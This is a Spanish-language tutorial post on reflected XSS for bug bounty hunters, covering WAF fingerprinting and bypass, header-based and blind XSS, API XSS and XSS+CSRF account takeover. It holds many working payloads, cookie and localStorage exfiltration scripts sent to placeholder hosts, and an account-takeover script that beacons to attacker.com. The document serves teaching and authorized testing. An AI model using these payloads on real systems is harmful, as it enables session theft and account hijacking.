XSS10 de julio de 2026 · 22 min lectura

XSS Reflected — Tomo II: Bypass de WAFs, Headers HTTP y Blind XSS

"Un WAF es un portero que lee una lista. Si sabes cómo hablar sin estar en la lista, entras igual."

El Problema con el Tomo 1

El Tomo 1 te enseñó la mecánica. Ahora sabes qué es XSS reflected, cómo identificar contextos, y qué payload básico usar. Pero si abres Burp, lanzas <script>alert(1)</script> contra cualquier aplicación en producción y esperas resultados, vas a recibir un 403 en la cara.

El mundo real tiene WAFs. Tiene filtros. Tiene sanitización parcial que funciona en el 80% de los casos y falla en el 20% — y ese 20% es donde están los bugs de bounty.

Este tomo cubre lo que los tutoriales de YouTube no tocan:

Cómo fingerprinting un WAF antes de atacarlo
Bypass de Cloudflare, ModSecurity y AWS WAF con técnicas documentadas en 2025-2026
XSS en headers HTTP — el vector invisible para la mayoría de hunters
Blind XSS — cuando el payload dispara en un contexto que nunca verás directamente
XSS en APIs REST — el territorio más ignorado del bug bounty actual
Encadenamiento XSS + CSRF para impacto crítico

Índice

Antes de bypassear: fingerprinting del WAF
La filosofía del bypass: por qué los WAFs fallan estructuralmente
Bypass de Cloudflare — técnicas 2025-2026
Bypass de ModSecurity CRS
Bypass de AWS WAF — el más poroso de todos
XSS en headers HTTP: User-Agent, Referer, X-Forwarded-For
Blind XSS — atacar lo que no puedes ver
XSS en APIs REST y respuestas JSON
Encadenamiento: XSS + CSRF = impacto crítico
Automatización responsable: Dalfox, XSStrike y cuándo usarlos
Laboratorio en el Cyber Range
Lo que viene en el Tomo 3

1. Antes de Bypassear: Fingerprinting del WAF

Bypassear un WAF sin saber cuál es equivale a lockpicking sin saber el tipo de cerradura. Cada WAF tiene sus propias reglas, sus propios puntos ciegos y sus propios patrones de respuesta.

¿Cómo identificar el WAF?

Método 1: Headers de respuesta

Envía una request normal y analiza los headers de respuesta:

GET / HTTP/1.1
Host: objetivo.com

Busca headers reveladores:

# Cloudflare
CF-RAY: 7a1b2c3d4e5f6g7h-MAD
Server: cloudflare

# Sucuri
X-Sucuri-ID: 12345
X-Sucuri-Cache: HIT

# AWS WAF
x-amzn-RequestId: abc-123
x-amz-cf-id: xyz

# Imperva / Incapsula
X-CDN: Incapsula
X-Iinfo: 12-345678-0

# ModSecurity (cuando bloquea)
# Suele mostrar una página de error con "ModSecurity" en el body

Método 2: Comportamiento ante payload conocido

Envía un payload que SABES que dispara la mayoría de WAFs y observa la respuesta:

GET /?q=<script>alert(1)</script> HTTP/1.1

Cloudflare: Página de error branded con código 1020 o 1010, header CF-RAY
AWS WAF: HTTP 403 con body vacío o XML genérico
ModSecurity: HTTP 403 con body que incluye "Forbidden" y a veces ID de regla
Imperva: Página de error con captcha o "Access Denied by Incapsula"

Método 3: wafw00f (automatizado)

wafw00f https://objetivo.com

Herramienta que fingerprinta WAFs analizando respuestas a múltiples probes. Útil como punto de partida, no como verdad absoluta.

Método 4: Timing-based fingerprinting

Algunos WAFs tienen latencia diferente cuando procesan payloads maliciosos vs. requests limpias. Mide el tiempo de respuesta de requests normales vs. con payloads. Una diferencia consistente de 200ms+ puede indicar inspección activa.

2. La Filosofía del Bypass: Por Qué los WAFs Fallan Estructuralmente

Antes de ver técnicas específicas, entender el problema de raíz te permite derivar tus propios bypasses.

Los WAFs operan con uno o más de estos mecanismos:

Blacklisting por regex: Buscan patrones conocidos (<script>, onerror=, javascript:, alert(). El problema es que el HTML es un lenguaje extremadamente tolerante — hay infinitas formas de expresar la misma instrucción.

Scoring de anomalías (ModSecurity CRS): Asignan puntos a cada elemento sospechoso. Si el score supera un umbral, bloquean. Esto significa que payloads distribuidos en múltiples parámetros pueden sumar menos puntos que un payload completo en uno solo.

Inspección parcial: Algunos WAFs solo inspeccionan los primeros N bytes del body. AWS WAF inspeccionó históricamente solo los primeros 8KB del request body. Un payload a los 9KB pasaba invisible.

Discrepancias de parsing: El WAF parsea la request de una forma. El servidor web la parsea de otra. Si logras una request que el WAF interpreta como inofensiva pero el servidor interpreta como maliciosa, el bypass está hecho.

Este último punto es el más poderoso y el más difícil de parchear. No es un bug en el WAF — es una inconsistencia estructural entre sistemas.

3. Bypass de Cloudflare — Técnicas 2025-2026

Cloudflare es el WAF más común en producción. También es el más estudiado, lo que significa que sus reglas son robustas pero conocidas.

3.1 Abuso de atributos HTML modernos

Atributos HTML relativamente nuevos como oncontentvisibilityautostatechange y onbeforematch han emergido como vectores efectivos porque las reglas WAF no siempre los tienen catalogados:

<!-- oncontentvisibilityautostatechange — dispara cuando el elemento entra al viewport -->
<xss oncontentvisibilityautostatechange=alert(1) style="content-visibility:auto" popover>

<!-- onbeforematch — dispara cuando el navegador navega a un elemento oculto -->
<input onbeforematch=alert(1) hidden=until-found>

Estos eventos son parte del estándar HTML moderno pero muchas reglas WAF no los tienen en su blacklist porque son relativamente nuevos.

3.2 Fragmentación de payload

La evasión en 2025-2026 depende fuertemente del abuso de discrepancias de parser, fragmentación de payloads y explotación de límites de inspección arquitectónica.

<!-- Fragmentar el evento entre atributos -->
<img src="x" onerr<!--comment-->or=alert(1)>

<!-- Usar múltiples atributos que se combinan en el DOM -->
<img src="x" on
error=alert(1)>

<!-- Whitespace alternativo entre evento y valor -->
<img src=x onerror	=	alert(1)>
<!-- Tab y espacios entre = y valor funcionan en algunos parsers -->

3.3 Encoding selectivo

<!-- HTML entities para caracteres clave -->
<img src=x onerror=&#97;&#108;&#101;&#114;&#116;(1)>
<!-- &#97; = a, &#108; = l, etc. El browser decodifica, el WAF ve texto -->

<!-- Decimal vs Hexadecimal mixing -->
<img src=x onerror=&#x61;&#108;&#x65;&#114;&#x74;(1)>

<!-- URL encoding en contexto de atributos -->
<a href="javascript:%61lert(1)">XSS</a>

3.4 SVG como vector

SVG tiene su propio namespace XML que algunas reglas WAF tratan diferente:

<!-- SVG con script embed -->
<svg><script>alert(1)</script></svg>

<!-- SVG con animación -->
<svg><animate onbegin=alert(1) attributeName=x></svg>

<!-- SVG con set -->
<svg><set onbegin=alert(1) attributeName=x></svg>

<!-- SVG foreignObject — contexto HTML dentro de SVG -->
<svg><foreignObject><script>alert(1)</script></foreignObject></svg>

3.5 Bypass via JSONP endpoints en dominios whitelisted

Si la aplicación tiene una CSP que permite scripts de dominios específicos (como *.google.com), busca endpoints JSONP en esos dominios. El parámetro callback refleja en la respuesta como JavaScript ejecutable. Como el script viene de un dominio en la whitelist, la CSP lo permite.

https://accounts.google.com/o/oauth2/auth?callback=alert(1)

Si la app tiene script-src *.google.com en su CSP y hay JSONP disponible, el WAF protege contra XSS directo pero no contra esta cadena.

4. Bypass de ModSecurity CRS

ModSecurity con el Core Rule Set (CRS) usa un sistema de scoring por anomalías. Cada elemento sospechoso suma puntos. El umbral default es 5 (Paranoia Level 1).

4.1 Payload de bajo score

El objetivo es construir un payload funcional que sume menos puntos que el umbral de bloqueo:

<!-- <script> suma alto. Eventos en tags comunes suman menos -->
<b onmouseover=alert(1)>hover me</b>

<!-- Sin paréntesis — evita la regla que detecta function calls -->
<img src=x onerror=alert`1`>

<!-- Usando variables globales del window en lugar de alert directo -->
<img src=x onerror=window.alert(1)>

4.2 HTTP Parameter Pollution

La técnica divide el payload XSS entre múltiples parámetros HTTP, aprovechando el comportamiento específico de ASP.NET al procesar parámetros duplicados. Esto derrota la detección WAF porque cada parámetro individual parece inofensivo.

GET /search?q=<script>&q=alert(1)&q=</script> HTTP/1.1

En ASP.NET, los valores de parámetros duplicados se concatenan con coma: <script>,alert(1),</script>. El WAF evalúa cada parámetro individualmente y ninguno dispara la regla completa.

En investigación reciente sobre 17 configuraciones WAF diferentes, la tasa de bypass exitoso escaló del 17.6% con payloads simples al 70.6% con técnicas sofisticadas de parameter pollution.

4.3 Overflow de inspección

POST /search HTTP/1.1
Content-Type: application/x-www-form-urlencoded

junk=AAAAAAA[x8192 bytes de A]&q=<script>alert(1)</script>

Si el WAF solo inspecciona los primeros N bytes del body, el payload al final puede pasar sin revisión. Ajusta el tamaño del relleno según el WAF objetivo.

5. Bypass de AWS WAF

Múltiples rule sets de AWS WAF, incluyendo AWS Managed Rules, Cyber Security Cloud rule set y F5 rule set, fueron completamente bypasseados por todos los payloads probados en investigación reciente. AWS WAF tiene históricamente los puntos ciegos más amplios entre los WAFs enterprise.

5.1 Limite de inspección de body

AWS WAF inspeccionó históricamente solo los primeros 8KB del request body:

# Script para generar request con payload fuera del window de inspección
padding = "A" * 8200  # Más de 8KB de relleno
payload = "<script>alert(1)</script>"
body = f"junk={padding}&q={payload}"

5.2 Discrepancias de encoding

# Doble URL encoding — el WAF decodifica una vez, el servidor decodifica dos veces
GET /search?q=%253Cscript%253Ealert(1)%253C%252Fscript%253E HTTP/1.1
# %25 = % (encoded), entonces %253C = %3C = < después de doble decode

5.3 Bypass via Content-Type manipulation

POST /api/search HTTP/1.1
Content-Type: application/json; charset=utf-16

[payload en UTF-16 que el WAF no parsea pero el backend sí]

6. XSS en Headers HTTP: El Vector Invisible

Este es el territorio donde la mayoría de hunters junior no mira nunca. Los parámetros GET y POST son la superficie obvia. Los headers son la superficie olvidada.

¿Qué headers pueden ser vulnerables?

Los headers que las aplicaciones frecuentemente reflejan sin sanitizar:

Header	Dónde aparece reflejado
`User-Agent`	Páginas de analytics, logs de admin, diagnósticos, dashboards de soporte
`Referer`	Páginas de "desde dónde llegaste", logs internos, emails automáticos
`X-Forwarded-For`	Páginas que muestran "tu IP", logs de acceso, dashboards
`X-Original-URL`	Debugging pages, load balancer logs
`Accept-Language`	Páginas de error, logs localizados
`Origin`	CORS debug pages

6.1 XSS via User-Agent

Durante pruebas de seguridad web, el User-Agent es un header comúnmente reflejado en páginas de diagnóstico, dashboards de admin y endpoints de debugging. Los desarrolladores frecuentemente loguean o muestran el User-Agent sin sanitizarlo.

Cómo testear:

En Burp Repeater, modifica el header User-Agent:

GET /admin/logs HTTP/1.1
Host: objetivo.com
User-Agent: <script>alert(document.domain)</script>
Cookie: session=abc123

Si la página de logs refleja el User-Agent en el HTML, XSS confirmado.

Automatización con Burp Match & Replace:

En Burp Proxy → Options → Match & Replace:

Match: Mozilla/5.0 (X11; Linux x86_64)
Replace: <script>alert(1)</script>

Esto inyecta el payload en TODAS las requests automáticamente mientras navegas.

6.2 XSS via Referer Header

El header Referer puede ser reflejado en emails automáticos generados por el backend, creando un vector de Blind XSS. En un caso documentado, el backend reflejaba el valor del Referer en un email enviado automáticamente al equipo de soporte interno.

GET /contact-form HTTP/1.1
Host: objetivo.com
Referer: <script>alert(document.domain)</script>

El payload en el Referer que llega al equipo de soporte ejecuta JS en el contexto del panel de admin cuando lo abren. Eso es acceso privilegiado desde un header.

Payload real para header Referer (HackerOne report #297203):

Referer: https://legitimo.com/page?x=';alert(1)//

En el reporte de HackerOne contra Semrush, el payload c5obc'+alert(1)+'p7yd5 enviado en el header Referer fue copiado desde la request y reflejado en la respuesta de la aplicación de forma insegura.

6.3 XSS via X-Forwarded-For

GET /dashboard HTTP/1.1
Host: objetivo.com
X-Forwarded-For: <script>alert(document.domain)</script>

Busca páginas que muestren "Tu IP es:" o logs que muestren IPs de acceso. Las aplicaciones que confían en X-Forwarded-For sin validarlo son vulnerables tanto a IP spoofing como a XSS si reflejan el valor.

7. Blind XSS — Atacar Lo que No Puedes Ver

Blind XSS es conceptualmente simple pero metodológicamente exigente: inyectas un payload en un lugar que no puedes ver directamente (formulario de contacto, campo de comentarios, header HTTP, log de acceso) y esperas que alguien más — normalmente un admin o sistema interno — abra ese contenido y dispare tu script.

La diferencia con Stored XSS es que en Stored XSS puedes verificar la reflexión. En Blind XSS, no puedes. Solo sabes que funcionó cuando recibes el callback.

7.1 Infraestructura para Blind XSS

Necesitas un servidor que capture las ejecuciones. Las opciones:

XSS Hunter (self-hosted):

# Levantar instancia de XSS Hunter en tu servidor
docker run -p 4567:4567 mandatoryprogrammer/xsshunter

XSS Hunter genera payloads únicos para cada punto de inyección y captura: URL donde se ejecutó, cookies, DOM completo, screenshot del navegador, IP, User-Agent.

Burp Collaborator (Burp Pro):

Genera URLs únicas tipo abc123.burpcollaborator.net. Úsalas como destino en el payload:

<script>fetch('https://abc123.burpcollaborator.net/?c='+btoa(document.cookie))</script>

Servidor manual con Python:

from http.server import HTTPServer, BaseHTTPRequestHandler
import urllib.parse

class XSSCapture(BaseHTTPRequestHandler):
    def do_GET(self):
        print(f"[XSS FIRED] Path: {self.path}")
        print(f"[XSS FIRED] Headers: {self.headers}")
        self.send_response(200)
        self.end_headers()

HTTPServer(('0.0.0.0', 8080), XSSCapture).serve_forever()

7.2 Dónde inyectar Blind XSS payloads

Los headers de request como User-Agent y Referer son frecuentemente procesados y logueados. Puedes configurar una regla de Match & Replace en tu proxy para automatizar la búsqueda de Blind XSS via headers. Los equipos de marketing frecuentemente loguean queries de búsqueda sin resultados para análisis SEO — inyectar un payload Blind XSS en el campo de búsqueda de un blog puede ejecutarse cuando el equipo de marketing revisa el dashboard de keywords.

Puntos de inyección prioritarios para Blind XSS:

Formularios de contacto y soporte (el admin ve los tickets)
Campos de nombre/apellido en registro (el admin ve la lista de usuarios)
Buscador interno de la app (si logean las búsquedas sin resultados)
Campos de feedback y reviews (moderación manual)
User-Agent y Referer headers (aparecen en logs de admin)
Campos de dirección de facturación (el equipo de ventas los revisa)
Mensajes de error personalizados (el soporte los ve)
Imports de CSV/XML con datos de usuario

7.3 Payload de Blind XSS completo

<script>
// Captura completa: cookie, URL, DOM, viewport
var data = {
  url: window.location.href,
  cookie: document.cookie,
  localStorage: JSON.stringify(localStorage),
  dom: document.documentElement.outerHTML.substring(0, 5000),
  referrer: document.referrer,
  timestamp: new Date().toISOString()
};

// Envío via fetch (async, no bloquea)
fetch('https://tu-servidor.com/xss-capture', {
  method: 'POST',
  body: JSON.stringify(data),
  headers: {'Content-Type': 'application/json'}
});

// Fallback via Image (por si fetch está bloqueado por CSP)
new Image().src = 'https://tu-servidor.com/xss?d=' + btoa(JSON.stringify(data));
</script>

7.4 Metodología de Blind XSS en bug bounty

El flujo real:

Identifica todos los formularios que envían data a un backend que no puedes ver
Inyecta tu payload con identificador único en cada punto: ';fetch('https://tu-srv.com/?p=FORMULARIO_CONTACTO&c='+document.cookie)//
El identificador p=FORMULARIO_CONTACTO te dice de dónde vino la ejecución
Espera. Puede tardar horas o días si el trigger es revisión manual de admin
Cuando el callback llega, anota la URL, las cookies y el contexto
Construye el reporte con evidencia de impacto real (admin cookies = critical)

8. XSS en APIs REST — El Territorio Más Ignorado

Las APIs REST no devuelven HTML — devuelven JSON. ¿Puede haber XSS ahí?

Sí. En dos escenarios:

Escenario A: La respuesta JSON se renderiza en HTML sin sanitizar

// Frontend code vulnerable
fetch('/api/search?q=' + userInput)
  .then(r => r.json())
  .then(data => {
    document.getElementById('results').innerHTML = data.results;
    // ↑ innerHTML con data de la API = XSS si la API no sanitiza
  });

Si la API devuelve el input del usuario en data.results sin sanitizar, y el frontend lo inserta con innerHTML, el XSS ocurre en el cliente aunque el servidor devuelva JSON "limpio".

Payload:

GET /api/search?q=<img src=x onerror=alert(1)> HTTP/1.1
Accept: application/json

Respuesta vulnerable:

{
  "query": "<img src=x onerror=alert(1)>",
  "results": []
}

Si el frontend renderiza data.query con innerHTML, XSS.

Escenario B: Content-Type sniffing

GET /api/export?format=html HTTP/1.1

Si la API devuelve contenido con Content-Type: text/html (o si el browser hace content sniffing), puede renderizar HTML aunque la intención sea JSON.

Escenario C: JSONP legacy

APIs antiguas con soporte JSONP:

GET /api/data?callback=alert(1) HTTP/1.1

Respuesta:

alert(1)({"data": "..."});

El callback se usa directamente en el output → XSS.

9. Encadenamiento: XSS + CSRF = Impacto Crítico

Un XSS en una página sin sesión (usuario no autenticado) suele clasificarse como Low o Medium en bug bounty. Un XSS que dispara acciones privilegiadas es High o Critical. La diferencia está en el encadenamiento.

El escenario clásico: cambio de email via XSS + CSRF

Objetivo: Cambiar el email del admin sin que el admin lo sepa.

Paso 1: El atacante encuentra XSS reflected en la página de búsqueda.

Paso 2: El atacante identifica el endpoint de cambio de email:

POST /api/account/email HTTP/1.1
Cookie: session=ADMIN_SESSION
Content-Type: application/json

{"email": "nuevo@email.com", "csrf_token": "abc123"}

Paso 3: El atacante construye un payload XSS que extrae el CSRF token y hace la petición:

<script>
// Paso 1: Obtener la página de perfil para extraer el CSRF token
fetch('/account/profile', {credentials: 'include'})
  .then(r => r.text())
  .then(html => {
    // Paso 2: Extraer el CSRF token del HTML
    var parser = new DOMParser();
    var doc = parser.parseFromString(html, 'text/html');
    var csrf = doc.querySelector('[name="csrf_token"]').value;
    
    // Paso 3: Hacer el cambio de email con el CSRF token legítimo
    return fetch('/api/account/email', {
      method: 'POST',
      credentials: 'include',
      headers: {'Content-Type': 'application/json'},
      body: JSON.stringify({
        email: 'attacker@evil.com',
        csrf_token: csrf
      })
    });
  })
  .then(r => r.json())
  .then(data => {
    // Paso 4: Confirmar a nuestro servidor que funcionó
    new Image().src = 'https://attacker.com/done?r=' + JSON.stringify(data);
  });
</script>

Paso 4: El atacante entrega el link con el XSS al admin. El admin hace clic. Su sesión ejecuta el payload. El email de su cuenta cambia al del atacante. El atacante toma control de la cuenta via "olvidé mi contraseña".

Esto no requiere que el admin ingrese ningún dato. El XSS hace todo usando las credenciales activas del navegador de la víctima.

Por qué esto es Critical en bug bounty

Encadenar XSS + CSRF demuestra account takeover completo. Eso es impacto máximo en cualquier programa. La mayoría de hunters reporta el XSS solo y obtiene $200. Los que encadenan y demuestran ATO obtienen $2,000-$10,000+ dependiendo del programa.

10. Automatización Responsable: Dalfox, XSStrike y Cuándo Usarlos

Las herramientas automatizadas de XSS tienen su lugar. También tienen sus límites. Usarlas sin entender lo que hacen es una garantía de falsos negativos y de tiempo desperdiciado.

Dalfox

Dalfox es el escáner de XSS más completo actualmente disponible. Soporta reflected y stored, tiene evasión de WAF básica, y puede usar pipelines de URLs.

# Scan básico
dalfox url "https://objetivo.com/search?q=test"

# Con cookies de sesión (para XSS autenticado)
dalfox url "https://objetivo.com/search?q=test" \
  --cookie "session=abc123; csrf=xyz789"

# Con bypass de WAF
dalfox url "https://objetivo.com/search?q=test" \
  --waf-evasion

# Pipeline desde lista de URLs (output de waybackurls)
cat urls.txt | dalfox pipe --silence

# Con encabezados personalizados (para XSS en headers)
dalfox url "https://objetivo.com/" \
  --header "User-Agent: DALFOX_FUZZING" \
  --header "X-Forwarded-For: DALFOX_FUZZING"

XSStrike

Mejor que Dalfox para contextos específicos, especialmente cuando necesitas análisis manual del contexto:

# Análisis de contexto + payload generation
python3 xsstrike.py -u "https://objetivo.com/search?q=test"

# Con fuzzing de headers
python3 xsstrike.py -u "https://objetivo.com/" --headers

# Modo crawling
python3 xsstrike.py -u "https://objetivo.com/" --crawl

Cuándo usar herramientas y cuándo no

USA herramientas para:

Cobertura rápida de parámetros obvios en scope amplio
Confirmar reflexiones conocidas con payloads variados
Fuzzing de parámetros cuando ya identificaste el contexto

NO uses herramientas para:

Descubrir XSS en lógica de negocio compleja
Headers HTTP — la mayoría de tools no los cubren bien por default
Blind XSS — necesitas infraestructura propia, no un escáner
Bypass de WAFs robustos — los escáneres son ruidosos y se bloquean rápido
APIs REST con lógica de rendering del lado del cliente

El criterio manual encuentra el 30% de bugs que los escáneres no ven. Y ese 30% suele ser el más valioso.

11. Laboratorio: Practica en el Cyber Range de TribuCibernética

El Tomo 2 tiene labs correspondientes en el nivel CP01 del Cyber Range. Cada lab está configurado para replicar el escenario exacto que acabas de leer:

Lab XSS-R04: WAF bypass básico — Cloudflare simulation con reglas reales
Lab XSS-R05: XSS en User-Agent header con panel de admin vulnerable
Lab XSS-R06: XSS en Referer header que dispara en email interno simulado
Lab XSS-R07: Blind XSS completo con captura via callback server incluido en el lab
Lab XSS-R08: Encadenamiento XSS + CSRF — account takeover en aplicación de práctica

Cada lab tiene:

Instancia Docker aislada y efímera
Flag de confirmación al explotar exitosamente
Writeup disponible post-completar
Hints desbloqueables si te atascas

→ Acceder al Cyber Range

12. Lo que Viene en el Tomo 3

El Tomo 3 cierra la serie de XSS Reflected con el contenido más aplicado:

Metodología completa de bug bounty para XSS Reflected:

Cómo escribir un reporte que los triagers aceptan (con plantilla real)
Cómo demostrar impacto máximo para maximizar el bounty
Los programas con mejor ratio pago/dificultad para XSS en 2026
Casos reales de bug bounty: de la recon al pago

Bypass avanzado de CSP:

CSP bypass via JSONP en dominios whitelisted
Bypass via Angular/React sandbox escape
CSP bypass via script gadgets (Portswigger research)
Uso de base-uri para redirigir cargas de scripts

XSS to RCE:

Cómo un XSS en un panel de admin puede escalar a ejecución de código en el servidor
XSS en aplicaciones Electron (desktop apps con Chromium embebido)
XSS en extensiones de Chrome con content_security_policy mal configurada

Glosario Rápido

Término	Definición
WAF	Web Application Firewall — sistema que filtra requests HTTP maliciosas
Fingerprinting	Identificar qué tecnología o WAF usa un objetivo
Scoring de anomalías	Sistema donde cada elemento sospechoso suma puntos; se bloquea al superar umbral
HTTP Parameter Pollution	Técnica de duplicar parámetros para confundir WAF y backend
Blind XSS	XSS que dispara en un contexto no visible para el atacante directamente
CSRF	Cross-Site Request Forgery — forzar al navegador a hacer requests no autorizadas
ATO	Account Takeover — tomar control completo de una cuenta de usuario
XSS Hunter	Herramienta para capturar ejecuciones de Blind XSS con contexto completo
JSONP	JSON with Padding — técnica legacy que puede crear vectores XSS
Content-Type sniffing	Cuando el browser infiere el tipo de contenido ignorando el header del servidor

Referencias Técnicas

PortSwigger Research — Top 10 Web Hacking Techniques 2025
Intigriti Blog — Hunting for Reflected XSS Vulnerabilities (Oct 2025)
Intigriti Blog — Hunting for Blind XSS Vulnerabilities (Mar 2025)
HackerOne Report #297203 — Reflected XSS via Referer Header (Semrush)
CyberSecurityNews — WAFs Protection Bypassed via Parameter Pollution (Aug 2025)
OWASP Testing Guide v4.2 — OTG-INPVAL-001 / OTG-CLIENT-002
MITRE ATT&CK T1059.007 — JavaScript/JScript

¿Encontraste un bypass nuevo que no está en este artículo? Abre un PR en nuestro repo de la comunidad o un thread en el Discord. La mejor documentación de seguridad en español se construye entre todos.

→ Leer Tomo 1: Anatomía del XSS Reflected (si no lo leíste)
→ Leer Tomo 3: Bug Bounty, CSP Bypass y XSS to RCE
→ Practicar en el Cyber Range
→ Unirse al Discord de TribuCibernética

© 2026 TribuCibernetica. Contenido publicado bajo fines educativos. El uso de estas técnicas fuera de entornos autorizados es ilegal. TribuCibernética no se hace responsable del uso indebido de la información aquí presentada.

[!TIP] ¿Quieres practicar esta vulnerabilidad? Pon a prueba tus conocimientos en un entorno controlado. Únete a otros hackers y explora el Cyber Range de TribuCibernética.